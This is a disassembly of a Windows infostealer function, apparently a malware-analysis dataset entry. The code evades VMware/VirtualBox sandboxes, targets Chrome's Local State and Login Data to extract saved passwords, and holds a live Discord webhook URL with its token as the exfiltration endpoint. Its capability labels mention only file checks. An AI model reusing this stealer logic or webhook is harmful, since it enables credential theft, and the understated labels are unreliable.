Function at 0x140026010
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov rax, rsp
mov qword [rax + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x238]
sub rsp, 0x300
movaps xmmword [rax - 0x48], xmm6
movaps xmmword [rax - 0x58], xmm7
lea rax, str.C:WINDOWS_system32drivers_vmmouse.sys
mov qword [rbp - 0x50], rax
lea rax, str.C:WINDOWS_system32drivers_vmhgfs.sys
mov qword [rbp - 0x48], rax
lea rax, str.C:WINDOWS_system32driversVBoxMouse.sys
mov qword [rbp - 0x40], rax
lea rax, str.C:WINDOWS_system32driversVBoxGuest.sys
mov qword [rbp - 0x38], rax
lea rax, str.C:WINDOWS_system32driversVBoxSF.sys
mov qword [rbp - 0x30], rax
lea rax, str.C:WINDOWS_system32driversVBoxVideo.sys
mov qword [rbp - 0x28], rax
lea rax, str.C:WINDOWS_system32drivers_vmbus.sys
mov qword [rbp - 0x20], rax
lea rax, str.C:.vmx
mov qword [rbp + 0x50], rax
lea rax, str.C:.vmxf
mov qword [rbp + 0x58], rax
lea rax, str.C:.vmdk
mov qword [rbp + 0x60], rax
lea rax, str.C:_flat.vmdk
mov qword [rbp + 0x68], rax
lea rax, str.C:.nvram
mov qword [rbp + 0x70], rax
lea rax, str.C:.vmem
mov qword [rbp + 0x78], rax
lea rax, str.C:.vmsd
mov qword [rbp + 0x80], rax
lea rax, str.C:.vmsn
mov qword [rbp + 0x88], rax
lea rax, str.C:.vswp
mov qword [rbp + 0x90], rax
lea rax, str.C:.vmss
mov qword [rbp + 0x98], rax
xor ebx, ebx
lea rdi, [rbp - 0x50]
mov rcx, qword [rdi]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x14002611b
test al, 0x10
je 0x1400268e0
inc ebx
add rdi, 8
cmp ebx, 7
jb 0x140026105
xor ebx, ebx
lea rdi, [rbp + 0x50]
nop dword [rax]
lea rdx, [rbp + 0xa0]
mov rcx, qword [rdi]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp rax, 0xffffffffffffffff
jne 0x1400268d7
inc ebx
add rdi, 8
cmp ebx, 0xa
jb 0x140026130
lea rcx, [rbp - 0x70]
call fcn.140017550
nop
mov r15, qword [rbp - 0x60]
movabs r13, 0x7fffffffffffffff
mov rax, r13
sub rax, r15
cmp rax, 9
jb 0x140026941
lea r12, [rbp - 0x70]
cmp qword [rbp - 0x58], 0xf
cmova r12, qword [rbp - 0x70]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
lea r14, [r15 + 9]
mov edi, 0xf
mov ebx, edi
lea rsi, [rsp + 0x30]
movabs rax, 0x8000000000000000
mov ecx, 0x16
cmp r14, rbx
jbe 0x14002622a
mov rbx, r14
or rbx, rdi
cmp rbx, r13
jbe 0x1400261f1
mov rbx, r13
add rax, 0x27
mov rcx, rax
call fcn.140029830
test rax, rax
je 0x140026947
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140026225
cmp rbx, rcx
cmovb rbx, rcx
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x140026205
xor esi, esi
jmp 0x140026225
cmp rcx, 0x1000
jb 0x14002621d
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140026929
jmp 0x1400261d2
call fcn.140029830
mov rsi, rax
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], rbx
movsd xmm0, qword [str.C:Users_]
movsd qword [rsi], xmm0
movzx ecx, byte [0x140057470]
mov byte [rsi + 8], cl
lea rcx, [rsi + 9]
mov r8, r15
mov rdx, r12
call fcn.140052c90
mov byte [rsi + r14], 0
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rax, rdx
sub rax, rcx
cmp rax, 0x26
jb 0x1400262af
lea rax, [rcx + 0x26]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x30]
add rbx, rcx
mov r8d, 0x26
lea rdx, str.AppDataLocalGoogleChromeUser_Data
mov rcx, rbx
call fcn.140052c90
mov byte [rbx + 0x26], 0
lea rax, [rsp + 0x30]
jmp 0x1400262d1
mov qword [rsp + 0x20], 0x26
lea r9, str.AppDataLocalGoogleChromeUser_Data
xor r8d, r8d
mov edx, 0x26
lea rcx, [rsp + 0x30]
call fcn.1400055a0
movups xmm7, xmmword [rax]
movups xmmword [rbp - 0x50], xmm7
movups xmm6, xmmword [rax + 0x10]
movups xmmword [rbp - 0x40], xmm6
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], rdi
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14002632c
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140026327
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002694d
call fcn.14002986c
movdqa xmm0, xmmword [0x140059400]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
mov r12, r13
movq r15, xmm6
sub r12, r15
cmp r12, 0xc
jb 0x140026953
lea rdx, [rbp - 0x50]
movq r14, xmm7
psrldq xmm6, 8
movq rax, xmm6
mov qword [rbp + 0x248], rax
cmp rax, 0xf
cmova rdx, r14
mov qword [rbp + 0x240], rdx
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
lea r13, [r15 + 0xc]
mov rbx, rdi
lea rsi, [rsp + 0x70]
cmp r13, rbx
jbe 0x14002642e
mov rbx, r13
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
jbe 0x1400263e8
mov rbx, rax
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140029830
test rax, rax
je 0x14002696b
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140026422
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x140026402
xor esi, esi
jmp 0x140026429
cmp rcx, 0x1000
jb 0x14002641a
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14002692f
jmp 0x1400263c9
call fcn.140029830
mov rsi, rax
mov rdx, qword [rbp + 0x240]
mov qword [rsp + 0x70], rsi
mov qword [rbp - 0x80], r13
mov qword [rbp - 0x78], rbx
mov r8, r15
mov rcx, rsi
call fcn.140052c90
movsd xmm0, qword [str.Local_State]
movsd qword [r15 + rsi], xmm0
mov eax, dword [0x140057480]
mov dword [r15 + rsi + 8], eax
mov byte [rsi + r13], 0
cmp r12, 0x13
jb 0x140026959
lea r13, [rbp - 0x50]
mov rsi, qword [rbp + 0x248]
cmp rsi, 0xf
cmova r13, r14
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
lea r12, [r15 + 0x13]
lea rbx, [rsp + 0x50]
cmp r12, 0xf
jbe 0x140026525
mov rdi, r12
or rdi, 0xf
movabs rax, 0x7fffffffffffffff
cmp rdi, rax
jbe 0x1400264e6
mov rdi, rax
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140029830
test rax, rax
je 0x140026965
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140026520
cmp rdi, 0x16
mov eax, 0x16
cmovb rdi, rax
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x140026500
xor ebx, ebx
jmp 0x140026520
cmp rcx, 0x1000
jb 0x140026518
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140026935
jmp 0x1400264c7
call fcn.140029830
mov rbx, rax
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], rdi
mov r8, r15
mov rdx, r13
mov rcx, rbx
call fcn.140052c90
movups xmm0, xmmword [str.DefaultLogin_Data]
movups xmmword [r15 + rbx], xmm0
movzx eax, word [0x140057498]
mov word [r15 + rbx + 0x10], ax
movzx eax, byte [0x14005749a]
mov byte [r15 + rbx + 0x12], al
mov byte [rbx + r12], 0
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x10]
call fcn.1400101e0
nop
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x10]
call fcn.1400101e0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x40], xmm1
mov ecx, 0x80
call fcn.140029830
mov rcx, rax
mov qword [rbp + 0x30], rax
movdqa xmm0, xmmword [0x140059480]
movdqa xmmword [rbp + 0x40], xmm0
movaps xmm1, xmmword [str.https:__discord.com_api_webhooks_1277784937013051392_CU6_umBb0_SFP_oMTME2RT7w0meLiSm77Qe5s_LjZZon5URGQ8tjEuEaP_O3u8mPo5rb]
movups xmmword [rax], xmm1
movaps xmm0, xmmword [0x140056ec0]
movups xmmword [rax + 0x10], xmm0
movaps xmm1, xmmword [0x140056ed0]
movups xmmword [rax + 0x20], xmm1
movaps xmm0, xmmword [0x140056ee0]
movups xmmword [rax + 0x30], xmm0
movaps xmm1, xmmword [0x140056ef0]
movups xmmword [rax + 0x40], xmm1
movaps xmm0, xmmword [0x140056f00]
movups xmmword [rax + 0x50], xmm0
movaps xmm1, xmmword [0x140056f10]
movups xmmword [rax + 0x60], xmm1
movsd xmm0, qword [0x140056f20]
movsd qword [rax + 0x70], xmm0
movzx eax, byte [0x140056f28]
mov byte [rcx + 0x78], al
mov byte [rcx + 0x79], 0
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x10]
call fcn.14001d980
nop
mov rax, qword [rsp + 0x38]
cmp qword [rsp + 0x30], rax
jne 0x140026888
lea rdx, str._ERROR__Failed_to_extract_the_master_key.
lea rcx, [0x14006fe90]
call fcn.1400017c0
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140025960
movzx edx, al
mov rcx, rbx
call fcn.140020630
mov rcx, rbx
call fcn.14001e090
nop
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x1400266b0
mov rdx, qword [rsp + 0x40]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400266aa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002693b
call fcn.14002986c
nop
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x1400266eb
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400266e6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002695f
call fcn.14002986c
movdqa xmm0, xmmword [0x140059400]
movdqa xmmword [rbp + 0x40], xmm0
mov byte [rbp + 0x30], 0
mov rdx, qword [rbp + 0x28]
cmp rdx, 0xf
jbe 0x14002673f
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140026732
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002695f
call fcn.14002986c
movdqa xmm0, xmmword [0x140059400]
movdqa xmmword [rbp + 0x20], xmm0
mov byte [rbp + 0x10], 0
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x14002678b
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002677e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002695f
call fcn.14002986c
movdqa xmm0, xmmword [0x140059400]
movdqa xmmword [rbp], xmm0
mov byte [rbp - 0x10], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x1400267d2
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400267cc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140026965
call fcn.14002986c
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x14002680f
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140026809
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002696b
call fcn.14002986c
nop
cmp rsi, 0xf
jbe 0x140026847
lea rdx, [rsi + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x14002683e
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140026971
mov rcx, r14
call fcn.14002986c
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x1400268fc
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140026881
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140026923
call fcn.14002986c
jmp 0x1400268fc
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x10]
call fcn.140020b90
nop
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x1400266b0
mov rdx, qword [rsp + 0x40]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400266aa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002693b
jmp 0x1400266aa
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindClose]
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.hehe_vm_xd
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
lea r11, [rsp + 0x300]
mov rbx, qword [r11 + 0x50]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.14002f614
nop
call fcn.14001a090
nop
call fcn.14001a090
nop
call fcn.14001a090
nop
call fcn.14002f614
nop
call fcn.14001a610
int3
call fcn.14002f614
nop
call fcn.14002f614
int3
call fcn.14001a610
nop
call fcn.14001a610
nop
call fcn.14002f614
nop
call fcn.14002f614
nop
call fcn.14002f614
nop
call fcn.14002f614
int3